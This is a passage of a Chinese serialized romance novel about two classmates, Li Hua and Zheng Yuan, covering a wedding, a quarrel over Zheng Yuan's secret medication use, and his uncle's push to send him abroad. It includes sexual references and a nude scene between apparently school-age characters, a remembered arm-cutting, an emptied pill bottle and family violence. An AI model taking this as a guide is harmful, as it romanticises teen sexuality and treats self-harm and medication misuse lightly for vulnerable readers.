郑源给他挑的一身衣服是今年时尚最新款，走在潮流前端，和明星同款，一身衣服都抵得王信的一场婚礼还有剩。但李华的父母不接触名牌也看不出来，只觉得儿子今天怎么这么好看，问他衣裳哪儿来的，李华内敛地说朋友的。父母一对视，就估摸着是不是接他们来的那个小郑同学的。
一种身为母亲和女人的第六感直冲王淑梅的大脑，她觉得这样不对，但又不知道哪儿不对，她一个没见过世面的农村妇女说不上来，只感慨：“这小郑同学，对你这么好呀。”
李华看着母亲慈爱的目光，瞬间又臊又慌，甚至要哆嗦，他抿着唇说不出话，还是李建民磕着瓜子接过话茬，说：“那多正常，人家有钱，出手阔绰，就这个档次。”
“是酒给你哄好了吧。”王淑梅瞪他，拉着李华的手坐下唠嗑。李华手心冒汗，出门前一直照镜子，看郑源有没有在他脖子上留下痕迹。不然他真解释不清。但因为心虚，还是坐立不安，没一会儿就借口跑到了阳台上。
今儿人多也乱，没人注意他。他吹着风，感觉有点难过。他就这么欺骗了父母，不对他们说实话，他良心上过不去，却又忍不住放任自己和郑源搞在一起。李华啊李华，你到底在想什么？他咬着唇，闷闷不乐。楼下突然放起鞭炮，迎亲的车队来了，摄影师在楼下架好了姿势，准备抓拍新郎抱新娘的那一刻。
这老旧的小区基本都是退休工人，鲜少有年轻人居住，更没这喜事儿，不少上年龄的大叔大妈都出来看，沾喜气，还能获得一把喜糖。原本到王信这个年龄很多人都会选择低调的领证，再请熟悉的人喝几桌喜酒就得了，没人搞这形式。但王信不，他顶着被人嗤笑的嘲弄也要给对方个正儿八经的婚礼。
听王淑梅说彩礼是王信自己攒的，他已经到这个年龄了，不可能张嘴找他亲姐要钱，再说王淑梅那个家庭条件，他要也要不出多少，家里还有个学生得照顾，王信也是很有责任的把所有事儿都自己包了，连他姐王淑梅给的红包都没收。
王信笑的脸上全是褶子，发自内心的喜悦，眼都看不见了，他弯腰将新娘从车里抱出来，李华在这一刻看到了新舅妈的模样，年轻，又漂亮，果然比冯春霞好得多。众人哄笑着这对老夫少妻上楼，李华不知道自己要干什么，之前的彩排他都在学校，没有来，此时就显得迷茫。手机在兜里响起，是郑源。
李华跑到更隐蔽的地方接电话。郑源说：“下楼。”
“啊？”
李华又赶快跑到阳台，找了一圈没找到，又找，在一棵有些光秃的老树后看到了他的身影。他穿的也挺正式，有些偏正装，笑起来露着虎牙：“我偷偷跟来了，你生气吗？”
李华无奈，他来都来了，自己生气还有什么用呢。但他还是故作不悦，声音沉下：“不是不让你来吗。”
“怕你无聊。”郑源一直看着他说：“生气了？”
他那两颗虎牙咬人可疼了，昨天磨着他的□□根部，让他指尖都在发麻。李华连忙抛开不好的□□思想，还没说话，听到有人喊他，连忙挂断电话，是王淑梅，催他上车，要去酒店了。
李华又看眼楼下，看不到郑源的身影了。他说不上什么情绪，跟着大部队走了。
婚礼李华不是第一次参加，吃席也不是第一次，兴许是心里有更勾人的东西，让他有点心不在焉。但是旁边坐着王淑梅，他不敢轻举妄动，手在兜里摸手机，就是没胆量拿出来玩。王淑梅看着舞台都哭成泪人了，本以为李华也感动，转眼看到她儿子无动于衷，她推了李华一下，哽咽着：“你亲舅舅结婚，你这孩子，怎么不激动。”
李华连忙看向舞台正中央，主持人还在声情并茂，王信更是一脸绯红，还没喝酒就醉了的模样，他旁边站的女孩儿倒是镇定的多，面带微笑地看着台下的亲朋好友。让李华感到有丝诡异，但又说不上来是哪儿不对。他收回视线，随意一瞥，看到门口角落里站着的人，瞳孔有一瞬间放大，又紧缩，坐在位置上沉默了会儿，他站起身走了出去。
王淑梅都来不及拦他。
“你怎么还来这儿了？”
李华拽着郑源的胳膊到男卫生间的隔间，这里点着香薰，连灯光都是浪漫的柔光。郑源撇了下嘴，“想你么。”
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音响的声音很大，在这儿还能隐约听到伴随着一生一世誓言的音乐。郑源垂眸看着他，抱住他，亲他的额头，鼻尖，突发奇想：“李华，我们会结婚吗？”
李华匪夷所思地看着他，一时哽住。这是个太天方夜谭、荒诞的问题和设想，但是郑源深情又期待地问出口，仿佛这个世界上没有什么是不能实现的，让他张张嘴，说不出扫兴的话。
“我觉得能。”郑源翘起嘴角，整理他的衣服和发型，“我好喜欢你。”
李华默不作声。但他察觉到自己的心跳频率和郑源的一致。
他有些妥协的委屈和不甘心，“都怪你。”
郑源说：“怪我什么？”
李华却又说不出来了。
郑源笑着不再问，轻轻捧着他的脸，很虔诚，“亲一下吗？”
“在这儿？”李华惊讶，瞪着眼问他，刚说出口就被吻住。
郑源的唇好软，跟他这个人的怪脾气一点都不像，离得近了，只能闻到他身上的淡香，其他什么都闻不到。李华抓着他的衣服，闭上眼，加深这个吻，灯光照在眼皮上，连音乐都变的温情，直到结束，他们也分开彼此。
“回去吧。”郑源说，该吃饭了。
李华看到他的嘴唇被自己咬的很红，估计自己的也差不多，连忙出去照镜子，却发现嘴倒没怎么红，而是脸，跟让人扇了似的。他嗔怪，郑源抱着膀子笑，“你太白了，明天给你抹点碳。”
李华直接回去了。
郑源看着他的背影消失在拐角，笑收了，回拨了郑玉安的电话。
郑玉安在电话里说：“过了今天，名额就作废了。”
郑源：“我想好了。”
“不出国？”
“不出。”
郑玉安沉默很久，挂了电话，笑了。
他早就知道郑源会这样选。在他问自己是否会后悔时，他虽然没有回答他，却能从他的眼神中看出什么。他不愿郑源步入他父亲的老路，也不希望他和当初的自己一样。他已经懦弱过一次，看到郑源不知天高地厚的权利和爱人都要，不看好的同时却又欣慰。他就该这样，他和他父亲都没有做到的事，终归有一个人结束这场命运的捉弄。
郑玉安能帮他的不多了。他选了一条最艰险辛苦的路，但雏鸟终归要出巢。
不是不能后悔，是不要连后悔的资格都没有。
郑玉安看着窗外的云，笑了声，哥哥啊。
可千万别怪我。
86.第 97 章
李华不让郑源再吃那种药了，他查的时候看到了副作用一栏。郑源支支吾吾地岔开话题跑了。他觉得这种药挺好，能遏制情绪，让他冷静，这样他就不会冲动，惹李华生气。再说他都是偷偷吃的，不想让李华觉得他在卖可怜，他怎么还是知道了？
李华固执地跟郑源说了三天，郑源不想骗他，就一直答非所问，让李华很无奈。
校园里，李华看着他跟别人打球，赵敏坐在他旁边，看他托着下巴闷闷不乐，问他怎么了。李华摇头。他觉得郑源变了，又说不出是哪儿变了，也说不出这种变化是好是坏。他又看到有人故意撞他了，还是那个八号。郑源从地上爬起来，依然过去和他们一起玩。一场篮球下来，那八号不知道是有意还是无意，撞了郑源好几下。李华越看越生气，起身朝他们走过去。
郑源看到他的身影连忙小跑过来，李华递给他水，说：“那八号总是撞你，你感觉不到吗？”
“噢，没事，打球嘛。”郑源并不在意。
但李华看到他的掌心都破了：“他明明是故意的，打球的话你怎么不撞他？”
郑源愣了一下，笑笑：“没事。”
故意的无意的都没事。
这让李华感觉就算是现在有个人莫名其妙地过来打他一顿，他也会说没事。
他不明白。
以前的郑源不是这样的。他嚣张又狂妄，不能有人欺负他，不然他会十倍的还回去，所以没人敢惹他。但现在的他是老好人，很好说话，谁都能来踩两脚。
李华说：“郑源，我希望你能反击。”
郑源啊了一声，垂着头说：“没必要。”
别人欺负他总比他欺负别人好。
李华深深地看着他，转身走了。
郑源跟在他后头，不明白他为什么生气了，解释道：“大家都是同学，也一起打过好几场球……”
像是说给李华听，也像是说给自己听。
李华说不出自己什么滋味儿，有生气，有心疼，也有费解。他们去了医务室，李华用棉签和碘伏给他擦破皮的手掌消毒。他说：“你没必要用这种伤害自己的方式去改变，忍气吞声，别人欺负你的时候你还是要反击，以前的你不是这样的。”
郑源笑笑没说话。
以前的他的确不是这样的，但以前的他是很讨人厌的。
讨李华、讨大家、讨所有人的厌恶。他总想，如果那个时候的自己脾气好点就好了，不那么暴力就好了，他和李华是不是就顺利的多了，就不会有那么多伤害了，也不会让李华……怀疑自己的喜欢。
他还配说喜欢这个词吗？虽然他嘴上能说，但他心里觉得自己根本不配。他不敢去回忆过往，那像凌迟一样痛苦。那个药的副作用是记忆力下降，他们都说这不好，他却觉得这很好。记不起来就好了，记不起来李华就在记忆里一直恨他，不会让他知道他曾经离自己向往的目标那么近。他始终接受不了，接受不了在李华也喜欢自己的时候对他做出那样的事。他恨自己愚蠢、无能、废物。他太喜欢李华了，愧疚却像一座大山压的他喘不过气，他比任何人都清楚没有弥补挽回的余地。
他们现在这样是很好，李华也说自愿和自己在一起。但事实真相是什么样的？是他清楚自己没什么值得让李华喜欢的。他怪不了任何人，怪谁呢？傅一青还是郑玉安？有用吗？真正带来伤害的又是谁呢？他自己缓解不了负面情绪的侵蚀，就需要借助外力。
李华看他沉默就很无力：“郑源，我不喜欢也不希望你这样。”
郑源立马说：“我会改的。”
快的像应激反应。
李华只觉得胸腔闷。他撂下棉签离开了。郑源坐在那儿沉默了会儿，默默地收拾带走。
“感觉很奇怪。”李华主动找到赵敏，“我感受不到他的活力。”
“是吗？”赵敏咬着棒棒糖，“我看他不是还和别人打球。”
“不是这样的。”李华皱眉，他也不会形容。
“不过他的确变了很多，现在感觉，很温柔。”赵敏回忆郑源，“嘶，有种……佛系感，就像在哪里跌倒，就在哪里睡下。”
李华点头，“就是这种感觉。好像对什么事情都不是很在乎。但他以前不是这样的。”
赵敏看着他：“他以前是什么样的？”
“他以前……”李华张嘴，又闭上，过了会儿才说：“唯我独尊、耀武扬威……”
赵敏是知道他俩以前相处的，笑道：“听起来都不是好词儿啊，而且他以前不是老欺负你吗？你还怀念他以前啊？”
李华叹气：“我没有怀念他欺负我，我只是说他以前的情绪都是真实的，哪怕是愤怒。但他现在像没脾气。”
赵敏点头：“可能因为把你追到手了，所以变温柔了吧。”
“不是这样的。”李华逻辑清晰地说：“如果是这样，他应该只对我一个人温柔，而不是对所有人。”
赵敏愣了一下，“啊，也有道理……他受打击了？”
“没有吧。”李华皱眉，他算是跟郑源天天在一起的了，没听到有什么事情，难道是他家里？
两个人聊半天也没聊出结果，但李华心里好受的多。他和赵敏一起出现到教室，郑源眼神暗了一下，又恢复正常。
李华坐到位置上，看他沉默，问他怎么了，郑源摇头。李华看他无意识地咬唇，反应过来，笑他：“吃醋了？”
“没有。”郑源说。他不该吃醋，和谁交流都是李华的权利。
李华的笑也淡了。
本来还有点儿精气神儿的郑源在李华说同意跟他上床后更小心翼翼了。仿佛之前都是他自欺欺人的游乐园，再一次认清现实后就打碎了美好的幻境，回不到蒙蔽自己的状态了。他在害怕，害怕李华还是觉得他有所图，害怕李华稍微有点不开心就离开他了，害怕他到最后什么机会都没有了。
像李华说的，真正的喜欢，是看他和别人在一起，也只会由衷地祝福。
郑源想做到单纯的、由衷的、真心的喜欢。
李华给他写了张纸条。
-你能告诉我你怎么了吗？
-没怎么呀。
李华将纸条撕了。
但中午吃饭时，郑源还是能开心地向他介绍：“这个乌鸡汤非常新鲜，你快尝尝，还有这个什么菇，说是营养价值很高。”
李华敏锐地发现郑源会在讨好他、对他好时情绪高涨，热情又愉悦，话也说的多。
好像只有这一件事是让他觉得有意义的事，需要努力、用心、认真完成。
于是晚上的时候，李华说：“我还是很想上你。”
郑源看他认真的神色不像作假，抿了下唇
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，在自我本能的拒绝中更怕李华生气，他说：“好。”
李华的心骤然下沉，郑源还在思考：“但是没有东西，明天可以吗？我去买。”
李华直接翻过身不理他了，郑源连忙上床说：“今天也可以，你别生气。”
李华又扭过来看他：“如果我说我喜欢赵敏，想和她谈恋爱呢？”
郑源瞳孔紧缩，一时窒息，哽地说不出话，心脏钝钝地疼，又有种意料之内的镇定，他尽量压住情绪，平稳地说：“当然可以。”
李华将他赶下了床，指着门口：“滚。”
他的眼红了，看起来很难过，郑源张张嘴，却不知道说什么，还是离开了。
李华看着他的身影：“你根本不喜欢我。”
郑源一顿，小声地说：“怎么会呢。”
门关上了。
他又把事情搞砸了。郑源很懊悔。怎么无论怎么做都没有用呢。
自我唾弃是个圈，当一个人开始凡事都怪自己，他很快就能适应并习惯这种自我伤害：因为他是一个很坏的人，所以他活该。
李华冲进来时已经晚了，他看着那空空如也的药瓶和郑源惊讶又无措的眼神，气的头懵，得扶着墙才能不让自己气的晕过去。他指着郑源一句话都说不出来。片刻后冲过来揪住他的领子，声音都在抖：“你到底想干什么？”
郑源张张嘴，又闭上，看他眼尾挂着泪，抹了一下他的眼角：“你别哭。”
李华松开他，“明天我就搬回学校。”
郑源瞪大眼，嘴唇都在抖，他想说什么，却又不知道说什么，也不敢说什么，他想果然还是不行吗？又想再给我一次机会好吗？可是他该为自己争取吗？李华是真的讨厌他吧，还会想看到他吗？他想说好吧，却又说不出口，他想说不要，却同样说不出口，他想说我会改的，可是又太像不知廉耻，他实在不知道到底该说什么才不会走在雷区。
李华看他脸色发白，自己也不好受：“郑源，我今天想了一天，想你为什么会这样，想你这样的原因。”
他深吸一口气：“我对你很失望。”
郑源浑身一颤。
李华今天想了很多，本想好好和他聊一聊、谈一谈，但是没用。他不擅长这样的怀柔政策，他更喜欢直白地讲事实，“我是被欺负的那一个我都敢和你在一起，你呢？”
他笑了一声，“我不是不喜欢你了，是我更喜欢之前的你，现在的你，配不上我。”
所以他要搬回去了。
他希望郑源能想清楚，到底什么才是他真正该做的。
李华是一个很坚强的人，就不希望自己的恋人懦弱。
他不怕郑源依然沉浸在悲伤的情绪里，他相信他，相信他不会的，就是有这样莫名的自信与信任。
赵敏说：“你觉得他现在这样不好吗？狮子老虎变小猫小狗，凶神恶煞变的可爱又听话。”
“不好。”李华说：“因为他最开始就是狮子和老虎，就是凶神恶煞。”
所以不要变成小猫小狗，那不是他，也不适合他。
他希望看到郑源势在必得的一面，就像他曾经胸有成竹、充满占有欲地对李华说，“你早晚会喜欢我，只是时间问题而已。”
给他机会，让他改变，李华想，只是时间问题而已。
他愿意等。
87.第 98 章
自从李华从郑源家搬出来，郑源又没来上课了。李华心神不宁，听不进去老师讲话，视线总会若有若无飘忽到他旁边的座位上。他也反思自己是不是把话说重了。眼下的郑源应该需要有人拉他一把，成为他的倾听者，像教一两岁孩子走路那般耐心地陪伴他。但李华又否定了这种想法。他不能当郑源的救世主，就像他把希望寄托在大人身上一样。每个人的成长都是独立的，都像在惊涛骇浪中翻滚，在烈焰灼沙中攀爬，痛苦但深刻。
他走过那样孤立无援、无人诉说，全世界只有自己孤苦伶仃一个人抗下一切的日子，郑源那样痛苦又封闭的眼神，他在划伤自己手臂的时候透过镜子看到过，和郑源如出一辙。
解铃还须系铃人吗？
不，铃是自己系的，解的人也只能是自己。
但在无数次跑神后，李华实在是不能再坐以待毙，他担心。他主动找到王玉代，问他能不能去看一下郑源。王玉代磕着瓜子，“为啥你自己不去？”
“我不能去。”李华说：“可以吗？”
“啧。”王玉代很不情愿，他说：“大哥大姐们，我在你俩这个恋爱关系里到底是充当一个什么角色？套？想起我了就用一用，想不起我就把我扔一边。”
李华有些惭愧，他也知道自己的要求很无理，但是不知道为什么，他总觉得王玉代是会伸手拉人一把的人，尽管他最开始时也欺负过自己，但现在再回头看，经历过更多的风浪，或许是心态的变化，让他觉得那时也不过如此，不能说是过家家和小打小闹，但他和王玉代之间，也算是互相伤害过，但又互相帮助过。
王玉代看着李华难为情的模样，拍拍手，“行吧，也不是什么大事儿，但你作业记得让我抄抄，还有跟赵敏说一声，别让她自习课老记我名字，他妈的灭绝师太。”
李华走后，王玉代的好兄弟问他：“代哥，你跟李华关系很好吗？没见你俩玩过啊。”
“还行吧。”王玉代想了想，“他人不坏。”
李华帮过他，王玉代也不是忘恩负义的人，虽然他这种后三排的混子跟他们那种前三排的好学生几乎没有交道，但是差生有时候会受环境影响对好学生有种天然的滤镜。
下午，王玉代就按照李华给的地址出发了。他想了想，还在路上买了一兜苹果，做戏做到位么，再说郑源肯定不收，他最主要还是买给自己吃。
只是好巧不巧，他正好碰见郑源出门。
他的第一反应不是迎上去，而是躲，他也不知道为什么，但他就是猫了起来。郑源也不是要出门，他站在自己家门口，抬头望天上的太阳，刺眼又耀眼。他就这么站了好一会儿，让王玉代也摸不清头脑，干脆擦了个苹果开始吃了。
然后他看到郑源突然朝某一个方向跑去。王玉代的视线跟着他没看到任何东西，但他想他估计有事儿吧，不然谁会大下午突然开始跑步，不神经病么。然后过了一段时间，他的苹果都吃完了，郑源还没回来。王玉代突然有点后悔，要知道刚才拦着他了，本来二十分钟就能结束的事儿，结果因为贪吃硬是错过了。
于是他焦虑的等待，就差打个电话问郑源跑去哪儿了，他还想早早结束回去打电脑游戏呢。
“王玉代？”
王玉代一个激灵，扭头看到出现在自己身后的郑源：“不是大哥，你哪儿冒出来的？”
郑源跑的脸很红，叉着腰喘着气，指了指他身旁的一条小道，又看眼他手腕上的袋子，“找人？”
王玉代啊了一声，想说找你，但郑源没耐心听他说话，“那你忙，我先走了。”
他又跑走了。
王玉代：“……”
王玉代看了一圈他的路线，这一趟下来起码有个一千五，还两圈，腿都得折了。王玉代没察觉出来跟李华说的哪点符合了。他想了想，反正都是来见一面，已经见了，任务也算完成。于是心安理得的走了。
晚上李华就迫不及待跟他打电话，为了知道郑源的情况，他专门存了王玉代的电话号码。王玉代戴着耳机打游戏，第一个电话没听见，李华锲而不舍，一眨眼打了八个。王玉代不经意一瞥，差点从椅子上跳起来，总觉得这八个电话有种莫名其妙的压迫感。
他取下耳机回过去，李华的声音还算正常，非常冷静，但因为太冷静了让语调并没有起伏，王玉代隔着电话都能察觉到他很紧张，甚至是紧绷，他说：“你见郑源了吗？”
王玉代说：“见了见了，忘了跟你交差了，我看他挺好的，不像你说的那样。”
电话那边轻微狐疑，生意也轻了，说不清情绪，他问：“真的吗？”
“当然是真的。”王玉代打个哈欠，“你说的什么，萎靡不振、堕落无神、痛苦悲伤、黯然神伤、麻木不仁等等这些个词，说实话我都没看到。”王玉代回想了一下他看到的郑源，回忆着描述：“我去的时候他正在跑步，他的眼睛，就像今天下午的太阳，非常的亮，又黑又亮，很有神，状态挺好的。”
李华说：“你不要骗我。”
“不是我骗你干啥，我真没骗你，真的。”思及此他还突然想到什么，“嗯，怕你不信我真去找他了，我还偷拍了张他的照片，我发给你。”
李华说：“为什么是偷拍？你跟踪他了吗？”语气已然严肃。
“……”王玉代有点儿哽住，他总不能说是因为在躲起来啃苹果，而且这个质问的、护犊子的语气是什么意思，他能来看他就已经很好了吧，他嚷嚷：“你怎么事儿这么多，而且那怎么能叫跟踪，那只是远距离观察，再说能给你拍个照片不错了，挂了挂了，我还有事儿，别打扰我打游戏。”
他挂的利索，不给李华说话的机会。
但彩信也随之而来。李华点开，是郑源穿着简单的居家服，仰头闭眼感受阳光的侧脸。
他的神情释然而倦怠，有些懒洋洋的，但他真好看啊，眉眼，鼻梁，连脖颈都是一个漂亮的弧度，不像阳光沐浴他，更像阳光拥抱他、亲吻他。
让李华想起他第一次踏进班级里时，背着光，一步一步走进教室，所有人都在屏气凝神，让他也不得不抬头，从而认可大家的赞美。他身上那种穿着最简单的衣服也掩盖不住的张扬气质，让李华一眼就记住了他。
李华的心突然就放下了。其实哪怕两个人不在一起，也没什么，无非是明恋变暗恋，就算因为这次的事情郑源记恨他了，李华也不在意，他只希望郑源能好好的，不会为了任何人改变自己，哪怕是因为喜欢，哪怕是因为他。就像李建民曾看着电视剧说：“人家少爷就是少爷，家里那么多钱养出来的，就是命好，找谁说理去，干啥非把他拉下来。”
不要把他拉下来，拉进泥土里。
无论是身体、还是性格、尊严。
每个人有每个人的路，或许缘分的纠缠让他们磕磕绊绊、磕磕碰碰，但他们终归是两个人。
这也是为什么李华没有报复他的原因，没有意义，他不觉得这样反过来去践踏一个人自己曾经受过的伤就能愈合，更因为感情作祟，看他那样受难落魄，心里也并没有多好过。
他从来不是放过了郑源，他只是放过了他自己。
李华将照片存下，终于睡踏实了。
但是第二天他也没在教室看到郑源。李华有点失落，反复问王玉代真的吗？你真的确定他的状态很好吗？王玉代都烦了：“大哥，你这么关心他你怎么不直接去问他，你好矛
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盾我说实话，你俩，那嘴是除了读课文不会说出其他的话了吗？要不要我教你，你就说郑源你在哪儿啊，我好想你啊，我担心你过的好不好，你怎么不来上学——”
他闭嘴了。李华被他说的羞愧，耳尖红着也不听了，转头撞到一个人怀里，他率先闻到的就是那熟悉的淡香。他猛地抬头，郑源双手插兜，挑了下眉，垂眸看着他，一字一句地回答：“在家，过的很好，因为在家反思。”李华突然就感到没来由的委屈，他握紧拳，被自己的矫情和一时上涌的情绪搞的无措，只想逃，一言不发地回到座位上。
郑源看着王玉代说：“谢了，回头给你买个最新款游戏机。”
“我操，真的吗？真的吗哥？！”王玉代高兴地要窜起来，跟着他：“你说的啊，你俩下次什么时候吵架，还找我啊——”
郑源将课本卷起来将他推远，调侃，“没眼力见的，不知道现在是二人时间吗？”
推走王玉代，郑源看着李华，慢慢地问：“你还在生气吗？”
李华的睫毛微颤，也没看他，只说：“你还吃药吗？”
“不吃了。”郑源也稳重了些，说话都慢了，“已经扔了，我不想年纪轻轻就变的像老年痴呆。”
李华只要知道这个答复就好了。
郑源看着自己曾经写的那份检讨书，还夹在他的书里，“我……这两天……想了很多……”
他不知道自己该从何说起，尽管这份说辞是他已经在家和在路上在心里打了好多次草稿的，但面对李华，他还是有点难以启齿，像自己一直想在他面前留一个好印象，却总是让他看到的都是自己最恶劣、落魄、无能的时候。他笑笑，“我很多时候……都不知道该怎么做，都是听别人说……我不是在为自己开脱，我只是……有的时候不是出自我的本意，但我意识不到这样做的后果和对错…… 我也没有反思过，我为什么要反思？我不理解，也想不到……我一直以为自己是对的……”
在后果来临之前，谁又知道自己曾经做的是对的还是错的？他想了想，努力说下去：“我想……想你临走时说的那句话，说更喜欢之前的我……其实如果是以前，我完全不会不信，我只会觉得我的努力得到回报了，从来没有考虑过你的感受。但当我知道自己一直在做错事，我就知道你不会喜欢我了，谁会喜欢一个那样的人呢？但是，你又说你愿意和我在一起……我不明白，我就想弥补，对你很好，特别好，用来补偿，无论你说的真的假的，总能给我一个补偿的机会，就算是假的又能怎么样呢，或许慢慢就变成真的了……”
所以他怕李华走，怕李华连这遥不可及的希望都不给他，那他就真的被判死刑了。
说到最后，他的脸比跑了几千米还红，这种解剖自己的羞耻，让他最后都不知道自己在说什么了，只剩一句：“我不想，配不上你。”
所以他跑步，他断药，他要靠自己，他不想被李华看不起，他不想配不上他，更不想哪天会蹦出来一个让李华觉得能配上自己的人，他想李华一有恋爱的想法，第一个想的就是自己。
他可以不接受自己，但是他不能认为别人比自己更能配得上他。他想想就嫉妒死了，小声嘟囔：“我又高又帅又有钱还会口……”
李华没忍住笑出声，掐了他一把：“这是在教室！”
“噢。”郑源看他笑了，自己也笑了，他知道李华不生他的气了，还是鼓足勇气把书里夹的那份检讨书抽出来，塞进了李华的书里。
李华笑他：“得寸进尺是不是。”
郑源嗯了一声，回答了他最后一个没问出口的问题。
“我很想你。”
过了会儿李华才勾起唇，“我知道。”
88.第 100 章
郑阔山的嘱咐郑玉安抛之脑后。他并不是忘了这件事，他就是沉默地反抗以应对。直到他回家后没看到应该待在家里的人，他抢来的老婆不见了，他老婆的闺女也不见了。郑玉安出门就奔老宅去了。疾驰的路上，他笑了。这种感觉太熟悉了，仿佛一如几十年前，也是今天这样，他寻常的回到公寓。
公寓是他秘密购买的，用来藏人的。只是那时藏的不是他自己的初恋，而是他三哥的爱人。
郑源的父亲被家里管制，没有人身自由，出不来，但郑源的母亲怀着孕。没办法只能拜托郑玉安照顾。郑玉安死活想不明白，自己已经够谨小慎微了，为什么还能被发现。那种打开门，发现家里空空旷旷的毛骨悚然感让他记一辈子。
他第一时间找人、查监控、报警，明的暗的手段都用了，但他知道，就是他最不愿意想的那种可能。她被老宅的人带走了。
当时家里有一部分权利已经是他大哥二哥握着的了，他们希望郑源的父亲能像他们一样听从家里安排跟另一个女人联姻，捆粄家族根基，父母也认为这是最好的安排。谁知道哪里杀出一个没什么背景的爱人？而他们的三弟还就是一颗心掉在这女人身上，非要娶她回家，不仅如此，还软硬不吃，生米煮成熟饭。当时这事儿在圈里不是秘密，盖都盖不住。父母甩手给家里两个老大，只当两个小的胡闹。生米煮成熟饭又如何，胳膊还能拧过大腿？
父母、兄长，像四座大山压在他们身上。
后来的事情郑玉安不愿回想。他也想不到。是怎么能让一个身体健康，他精养着的孕妇早产。
更无法评判他们当时就把孩子抱走，以至她跳楼自杀。
郑玉安握紧方向盘。
他一直希望郑源能在清醒中成长，尽早知道自己背负的责任，感受这种痛苦，再亲手了解这场长达几十年的悲剧。仇人只有自己解决才最畅快。但是动了他的人，还当他是十几年前的郑玉安。
“是玉安来了。”
郑玉安刚下车，就看到他的母亲白发苍苍地缓步走出来，而搀着她的人，正是他的爱人。两个人四目相对，郑玉安皱了下眉，快步走过去。小荷也从母亲身后跑了出来，拽着她的衣裳。
“看你紧张那样。”母亲缓慢地将女人的手交给郑玉安，露出了翠绿的镯子。郑玉安一顿，这镯子母亲戴了一辈子，是她年轻时的嫁妆，价值不可估量。
“妈。”郑玉安略微恭顺地看着她，年迈的母亲和蔼的应了一声，摸摸小荷的头，说：“回家吧。”
路上，女人将镯子取下，温柔漂亮的面容冷了下来，小荷也没了刚才的开心，看起来神情恹恹。
是亲情，还是爱情。时隔许久，郑玉安面临新的选择。翠绿镯子是给他的糖，一言不发将人带走是给他的巴掌。仿佛无论如何他都无法两全。
晚上，郑源和李华窝在一起看电视。俩人现在没事儿就得亲两口，亲哪儿不好说，有时候李华心血来潮还想逮着他磨牙，就干脆都不穿衣裳，抱在一起还舒服。郑玉安有郑源家的钥匙，开门就进来了，正对上俩人浑身赤裸、满身红痕地黏在一起啃。
郑玉安：……
他深呼吸，饶是再见过大场面也没绷住，太阳穴跳了，后槽牙咬了：“郑源。”
郑源和李华都茫然又震惊地看着他，被这么一喊回过神了，郑源连忙拿过抱枕挡住李华让他回屋，忘了自己还光着屁股，站起来甩着吊说：“小叔——”
郑玉安伸出一根食指，禁止他说话，又指了指卧室：“让他走。”
郑源连忙道：“他没地方去，太晚了，学校已经关门了。”
郑玉安不想看见他，摔门出去抽烟：“别让我说第二遍，我给你三分钟时间。”
郑源想了想，郑玉安深夜来访，估计有话要说。他跟李华说了一下，李华正好穿戴整齐了，脸红红的。被第三个人撞见这样的暧昧场面他也很无措和难为情，以及尴尬。但事已至此，再没心理准备也只能承受，他冷静地问郑源：“他会怎么样你吗？”
“不会。”郑源掖了掖他的衣服，“胡建国在楼下等你，学校不回了，开个酒店套房，他走了我再把你接回来，你先在那儿玩会儿。”
李华点头，走时看到郑玉安坐在沙发上，静的像一尊雕像。他没戴眼镜，侧脸有种骨干的冷硬，像沉睡的鹰。
李华走后郑源也随便穿了件上衣裤子，刚走到他对面就被一觉踹飞，郑源操了一声从地上爬起来，呲牙咧嘴，他知道郑玉安生气，所以忍着不吭声，还是朝他走去，这次郑玉安没再留情，照着他的脸就是一巴掌，郑源被打的偏过头，嘴角都挂流血。但他淡定地坐下了，张嘴就是一句：“小叔，你生气就打我，别找他的麻烦。”
郑玉安一瞬间感觉头裂。
他疲惫地说：“小源，你之前答应我的什么。”
郑源张张嘴，又闭上。
之前郑玉安说：“你不出国，就要减少和李华的往来。”
郑源说的是好。
反正是空头支票，他当时想，只要不出国，让他答应什么都行。
“我忍不住……小叔。”
郑源的脸肿起来，看起来有些无措。
郑玉安叹息。
他没办法。他拿郑源没办法。他也很少来看他、管他、过问他，因为看到他和他父亲相似的眉眼，就会想起从前。郑玉安在郑源母亲这件事上有愧，愧于他三哥，也愧于这个没长大的孩子。他想让他自由自在的生长，无忧无虑，随心所欲，无论闯什么祸他都给他兜底，无论是放火，还是杀人。
所以他选择睁只眼闭只眼，关于他和那个李华。他给他转学，远离私塾，就是为了脱离原生家庭的影响。他想给他最大的自由，包括他青少年时期的青□□恋，只为了他的人生不留有遗憾。
可是
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他又无法不担心他以后的路，不得不出面干涉他的行为。像扎在掌心里的刺，看不到，却随时能感受到。
郑玉安前倾身体，拇指抹掉他唇角的血。郑源一愣，郑玉安说：“美国，你们两个一起，我资助他全部的开销。”
“不能！”郑源想都没想，“李华肯定不同意，他爸妈……”
郑玉安听不下去了，“那你就和他断了。”
郑源急道：“我断不了，小叔，你不是说不管我的吗？！”俩人还没情投意合的时候就难舍难分，现在更是黏在一起分不开。郑玉安只后悔自己的确管太松了，就应该在他刚有苗头的时候掐死在摇篮里。
郑源不会明白他眼里的喜欢与感情有多渺小。更不会想到这份感情但凡摊到明面上，受伤的不是他，而是李华。
退学？郑玉安冷笑，按照他们的手段，让他们这辈子再也无法相见都是心软。到那时郑源又该如何自处？还是再来一出……
郑玉安走了，临走时让他想清楚，一天后给他答复。
当天晚上郑源就握住李华的手跟他说：“李华，我们出国吧。”
“出国？”李华皱眉，摸着他肿着的脸，这是他从未想过的。他摇头：“不要。”
“我们一起。”郑源眼巴巴地望着他。
李华还是摇头：“我不喜欢国外。而且我一直想考国内的大学，我爸妈也不喜欢外国。”
郑源叹气，他就知道。
李华看着他，心下了然：“你小叔让你出国吗？”
郑源没说话。
李华也沉默，片刻后他说：“虽然看不到你会有点……但是如果没其他办法的话……你应该会有假期吧，我们还是可以见面。”
他比郑源更快地接受了两人可能要分开的结果。在他看来长辈的话很少能有不听的。无非是从天天见变成隔段时间见。又或者说他其实打一开始就对两个人的关系抱着能到哪一步就到哪一步的心态，因为他从始至终，潜意识里都知道，这是大逆不道，这是不对的。
但他依然这么干了。他看郑源一直沉默，又摸他被踹的小腹：“你不是说他不会怎么你吗？”
郑源很不开心，李华的回答让他更不开心，他赌气似的说：“你根本不知道出国意味着什么，我们一年都很难见上两次面，那么远，你不想我吗？没有我你晚上睡得着吗？反正没有你我晚上睡不着，总之，我是不会出国的，死都不会！”
他一秒都不能和李华分开。
他此刻像个不讲道理的，吵着要糖的小孩儿。李华就像比他稍长些，会给他拿糖的哥哥。他看他可爱，笑着说：“好。”
郑源愤恨地咬上他的唇，两个人静静的抱在一起，都没有进一步的打算。过了片刻，李华还是心疼地问他：“疼吗？”
